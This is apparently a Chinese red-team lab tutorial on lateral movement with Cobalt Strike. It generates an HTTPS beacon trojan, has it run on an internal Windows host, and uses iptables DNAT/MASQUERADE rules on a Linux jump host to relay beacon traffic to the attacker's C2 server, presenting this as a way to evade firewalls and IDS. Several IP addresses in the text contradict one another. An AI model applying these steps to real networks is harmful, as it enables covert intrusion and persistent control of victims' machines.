CobaltStrike横向渗透之Https Beacon实战2(跳板机Linux)

目录

[一、Https Beacon](#一、Https Beacon)

二、iptables

[三、Https Beacon内网横向渗透实战](#三、Https Beacon内网横向渗透实战)

1、https监听1

2、https监听2+创建Beacon

(1)生成内网监听

(2)生成Payload

(3)将beacon文件上传到目标内网主机

3、跳板机配置IPTABLES规则

4、CS内网目标靶机的22222.exe成功上线


本系列讲解内网渗透中跳板机为Linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程。本系列有两篇文章组成,上一篇讲解CS生成的Linux版本的https beacon与跳板机建立连接的渗透实战过程;本篇讲解基于Linux跳板机,与内网目标主机建立CS连接的渗透实战过程,本篇文章涉及到的主要角色如下所示。

角色 IP地址 端口 作用
攻击机 20.1.0.47 10088 接收跳板机转发的HTTPS Beacon
跳板机(Linux) 外网ip:10.33.47.100 内网ip:192.168.100.100 22222 内网监听,转发流量到攻击机
内网主机(Windows) 192.168.100.233 - 运行22222.exe连接跳板机的22222端口

本文的目标是建立攻击机→跳板机→内网主机的HTTPS C2通道,具体处理流程如下图所示。

  • 监听器创建:攻击者在CobaltStrike(20.1.0.47)上创建两个HTTPS监听器(10088端口用于接收,22222端口用于生成Payload)。

  • Payload投递:生成连接跳板机内网IP(192.168.100.100:22222)的HTTPS Beacon(22222.exe),并通过跳板机(10.33.47.100/192.168.100.100)上传至内网主机(192.168.100.233)执行。

  • 流量转发:内网主机主动连接跳板机22222端口,跳板机配置iptables策略,并通过iptables将流量转发至攻击机10088端口。

  • C2通道建立:攻击机通过跳板机与内网主机建立HTTPS通信,实现隐蔽控制。

  • 持续控制:攻击机发送指令→跳板机转发→内网主机执行并回传数据,维持长期渗透。

复制代码
sequenceDiagram
    participant Attacker as 攻击者<br>20.1.0.47(CobaltStrike)
    participant Jumpbox as 跳板机<br>外网ip:10.33.47.100 内网ip:192.168.100.100
    participant Internal as 内网主机<br>192.168.100.233

    Note over Attacker: 阶段1:准备监听器
    Attacker->>Attacker: 创建监听器 10086_https 20.1.0.47:10088
    Attacker->>Attacker: 创建监听器 22222_https 192.168.100.10<br>生成HTTPS Beacon: 22222.exe

    Note over Attacker: 阶段2:投递Payload
    Attacker->>Jumpbox: 上传22222.exe到跳板机
    Jumpbox->>Internal: 通过跳板机上传22222.exe到内网主机
    Internal->>Internal: 执行22222.exe

    Note over Jumpbox: 阶段3:流量转发
    Internal->>Jumpbox: 连接请求<br>192.168.100.100:22222 (HTTPS)
    Jumpbox->>Attacker: iptables转发到20.1.0.47:10088
    Attacker->>Attacker: 接收Beacon连接

    Note over Attacker: 阶段4:建立C2通道
    Attacker->>Jumpbox: 发送指令<br>20.1.0.47:10088→192.168.100.100:22222
    Jumpbox->>Internal: 转发指令到内网主机
    Internal->>Jumpbox: 返回数据
    Jumpbox->>Attacker: 加密回传<br>192.168.100.100→20.1.0.47:10088

一、Https Beacon

HTTPS Beacon 是 Cobalt Strike 等渗透测试工具中常用的一种 Beacon 类型,在网络攻击与防御中具有重要作用。以下是对它的详细讲解:

  • 基本概念:Beacon 是 Cobalt Strike 运行在目标主机上的 payload,中文名为信标,它在隐蔽信道上为攻击者提供服务,用于长期控制受感染主机,HTTPS Beacon 就是基于 HTTPS 协议的 Beacon。
  • 工作原理
    • 建立连接:目标主机上的 HTTPS Beacon 会主动向攻击者设置好的 Listener 发送请求信息,Listener 通常是攻击者控制的服务器上的一个监听端口。
    • 任务获取:Beacon 进入睡眠状态,结束睡眠后用 HTTP GET 方式发送一个 metadata,内容包括目标系统的版本、当前用户等信息。如果 C2 服务器存在待执行的任务,则会响应这个 metadata 并发布命令,Beacon 将会收到具体任务内容与一个任务 id。
    • 任务执行与回显:Beacon 执行完毕任务后,将回显数据与任务 id 用 POST 方式发送回 C2,然后又会回到睡眠状态,等待下一次任务。
  • 优势
    • 加密传输:HTTPS Beacon 利用 SSL 协议的非对称密钥加密实现数据传输安全,解决了 HTTP Beacon 明文传输的问题,能够有效防止通信内容被窃取和篡改,提高了攻击的隐蔽性和安全性。
    • 绕过部分安全检测:由于 HTTPS 是一种常用的安全协议,很多网络安全设备对 HTTPS 流量的检测相对宽松,HTTPS Beacon 可以利用这一点,伪装成正常的 HTTPS 流量,更容易绕过防火墙、入侵检测系统等安全设备的检测,从而实现对目标主机的长期控制。

二、iptables

iptables 是 Linux 系统上一款功能强大的防火墙工具,主要用于管理网络流量,通过制定规则来允许、拒绝或转发数据包。它基于内核中的 netfilter 框架工作,能够对进出服务器的网络数据包进行过滤、修改和转发等操作,是 Linux 系统网络安全的重要保障。

类别 具体内容 说明
核心表(Tables) filter 表 默认表,用于过滤数据包(允许 / 拒绝),包含 INPUT、OUTPUT、FORWARD 链
核心表(Tables) nat 表 用于网络地址转换(如端口映射、IP 转换),包含 PREROUTING、POSTROUTING、OUTPUT 链
核心表(Tables) mangle 表 用于修改数据包标记(如 TTL、TOS),包含 5 条链(与 filter 表类似)
核心表(Tables) raw 表 控制数据包是否被跟踪,包含 PREROUTING、OUTPUT 链
默认链(Chains) INPUT 处理进入本机的数据包
默认链(Chains) OUTPUT 处理从本机发出的数据包
默认链(Chains) FORWARD 处理经过本机转发的数据包(需开启 IP 转发)
默认链(Chains) PREROUTING(nat/mangle/raw 表) 数据包到达后、路由前处理(用于 DNAT 等)
默认链(Chains) POSTROUTING(nat/mangle 表) 数据包路由后、发送前处理(用于 SNAT 等)
常用动作(Targets) ACCEPT 允许数据包通过
常用动作(Targets) DROP 丢弃数据包(不返回任何响应)
常用动作(Targets) REJECT 拒绝数据包(返回 ICMP 拒绝响应)
常用动作(Targets) LOG 将数据包信息记录到系统日志(/var/log/messages 等)
常用动作(Targets) SNAT(nat 表) 源地址转换(如修改出口数据包的源 IP)
常用动作(Targets) DNAT(nat 表) 目的地址转换(如端口映射)
常用匹配参数 -p 协议(tcp/udp/icmp 等) 指定匹配的协议
常用匹配参数 --dport 端口号 匹配目标端口(如 --dport 80 匹配 80 端口)
常用匹配参数 --sport 端口号 匹配源端口
常用匹配参数 -s IP 地址 匹配源 IP 地址(如 -s 192.168.1.100)
常用匹配参数 -d IP 地址 匹配目标 IP 地址
常用匹配参数 -i 网卡(如 eth0) 匹配入站数据包的网卡
常用匹配参数 -o 网卡(如 eth0) 匹配出站数据包的网卡
基础操作命令 iptables -L [链名] 查看规则(默认 filter 表)
基础操作命令 iptables -A 链名 匹配条件 -j 动作 添加规则到链的末尾
基础操作命令 iptables -I 链名 位置 匹配条件 -j 动作 插入规则到指定位置(如 -I INPUT 1 ... 插入到第 1 条)
基础操作命令 iptables -D 链名 规则序号 删除指定链的第 N 条规则
基础操作命令 iptables -F [链名] 清空指定链的规则(不加链名则清空表中所有链)
基础操作命令 iptables -P 链名 动作(如 DROP) 设置链的默认策略(未匹配任何规则时执行)

三、Https Beacon内网横向渗透实战

本文基于由于cs Windows Beacon和Linux Beacon兼容性并不高,此处采用HTTPS Beacon和iptables映射方式。攻击者首先在CobaltStrike(20.1.0.47)创建两个HTTPS监听器(10088端口和22222端口),生成连接跳板机内网IP(192.168.100.100:22222)的Beacon程序22222.exe;通过跳板机(外网10.33.47.100/内网192.168.100.100)将该程序上传至内网主机192.168.100.233并执行,使内网主机主动连接跳板机22222端口;跳板机通过iptables将22222端口的HTTPS流量转发至攻击机10088端口,最终建立攻击机→跳板机→内网主机的HTTPS C2通道,实现隐蔽控制。

步骤 方向 协议/端口 说明
1 攻击机→自身 - 创建两个监听器(外部10088/内网22222) 10088端口用于攻击机监听跳板机转发内网流量 22222端口用于生成22222.exe使内网主机连接跳板机
2 攻击机→跳板机→内网主机 SMB/RDP 攻击机上传22222.exe到跳板机 通过跳板机二次投递22222.exe到内网主机
3 内网主机→跳板机 HTTPS:22222 Beacon(22222.exe)首次回连
4 跳板机→攻击机 HTTPS:10088 跳板机通过配置iptables实现流量转发
5 攻击机↔跳板机↔内网主机 HTTPS/SMB 持续C2通信

1、https监听1

攻击机创建监听器 10086_https20.1.0.47:10088),等待跳板机转发流量。

  • IP : 20.1.0.47(攻击机公网/外网IP)

  • 端口 : 10088

  • 类型 : HTTPS Beacon

  • 名称 : 10086_https

  • 作用: 接收从跳板机转发过来的内网流量。

2、https监听2+创建Beacon

攻击机创建内网HTTPS Beacon(用于内网主机连接跳板机),故而监听的ip地址为跳板机的内网ip地址192.168.100.100,端口设置为22222。创建好监听后基于此生成Payload命名为22222.exe。

(1)生成内网监听

攻击机创建监听22222_https是一个 内网定向监听器 ,用于生成指向 跳板机内网IP的HTTPS Beacon Payload。首先在跳板机上查看内网的ip地址,如下所示内网ip地址为192.168.100.100。

接下来创建监听器,名称为22222_https,IP地址为192.168.100.100,端口为22222,具体过程如下所示。

(2)生成Payload

基于 22222_https 监听生成 HTTPS Beacon 可执行文件,命名为 22222.exe。这个木马的功能运行后会主动连接 192.168.100.100:22222(跳板机内网地址)。

点击生成,将https beacon命名为22222.exe保存。

(3)将beacon文件上传到目标内网主机

成功生成22222.exe的https beacon文件后,将木马22222.exe通过跳板机上传至目标内网主机,并运行22222.exe。

3、跳板机配置IPTABLES规则

在将木马22222.exe通过跳板机上传至目标内网主机后运行22222.exe,很明显此时目标主机的木马会连接192.168.26.100这个跳板机的22222端口。这时候在跳板机设置iptables规则,将这种报文DNAT处理并转发到攻击主机中。

复制代码
1. 需要先开启linux的数据转发功能
vim /etc/sysctl.conf,将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1
sysctl -p  #使数据转发功能生效
2.systemctl start iptables 
3. 更改iptables,使之实现nat映射功能
iptables -I FORWARD -p tcp -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 22222 -j DNAT --to-destination 20.1.0.32:10088 #将linux跳板机的22222端口接受内容转发至20.1.0.32:10088
iptables -t nat -A POSTROUTING -j MASQUERADE


#查看iptables规则
iptables -t nat -nL --line-number

其中第3个步骤iptables -t nat -A PREROUTING -p tcp --dport 22222 -j DNAT --to-destination 20.1.0.32:10088含义如下所示。

  • -t nat:操作 NAT 表

  • -A PREROUTING:在路由决策前应用规则

  • --dport 22222:匹配目标端口 22222 的入站流量

  • -j DNAT:执行目标地址转换

  • --to-destination 20.1.0.32:10088:10088:重定向到攻击主机服务

其中第四条语句iptables -t nat -A POSTROUTING -j MASQUERADE 这条命令实现了 源地址伪装(SNAT) 功能:它将所有经过本机转发的数据包的源IP地址自动替换为本机当前网络接口的IP地址

复制代码
sequenceDiagram
    participant A as 攻击机<br>20.1.0.32:10088
    participant J as 跳板机<br>内网IP:192.168.100.100<br>外网IP:10.33.47.100
    participant V as 内网主机<br>192.168.100.233

    Note over A,V: 阶段1:Payload投递与执行
    A->>J: 上传22222.exe到跳板机
    J->>V: 投递并执行22222.exe
    V->>J: 连接请求<br>src:192.168.100.233<br>dst:192.168.100.100:22222

    Note over J: 阶段2:流量伪装转发
    J->>J: iptables DNAT转发 dst→20.1.0.32:10088<br>MASQUERADE伪装(源ip替换) src→10.33.47.100
    J->>A: 转发流量 src:10.33.47.100 dst:20.1.0.32:10088

    Note over A,V: 阶段3:C2通道建立
    A->>V: 发送HTTPS指令(通过跳板机中转)
    V->>A: 回传数据(加密HTTPS)

4、CS内网目标靶机的22222.exe成功上线

复制代码
攻击机 (20.1.0.47:10088) ← 跳板机转发 (192.168.100.100:22222) ← 内网主机 (运行22222.exe)
  • 内网主机 :运行 22222.exe 的受害机器(192.168.100.233)。

  • 跳板机 :双网卡设备(内网 192.168.100.100,外网 10.33.47.100),负责流量中转。

  • 攻击机 :C2服务器(20.1.0.32:10088),接收伪装后的Beacon连接。

相关推荐
model20051 小时前
Alibaba linux 3安装mapserver
linux·运维·服务器
水天需0101 小时前
awk 命令全面详解
linux·运维·服务器
YFLICKERH1 小时前
【Linux系统】Docker技术与应用
linux·docker
dodod20121 小时前
在 Ubuntu 中将新硬盘挂载到 /home /work目录下
linux·运维·ubuntu
饕餮争锋1 小时前
Linux 常用命令分类详解
linux·运维·服务器
菜择贰1 小时前
为IDEA创建Linux桌面快捷方式
java·linux·intellij-idea
minji...1 小时前
Linux 进程控制(三) (进程程序替换,exec系列函数)
linux·运维·服务器
Xの哲學2 小时前
Linux TTY子系统深度剖析
linux·服务器·算法·架构·边缘计算
moringlightyn2 小时前
Linux---基础IO(文件理解 文件接口使用 文件系统层面)
linux·运维·服务器·c语言·笔记·系统·文件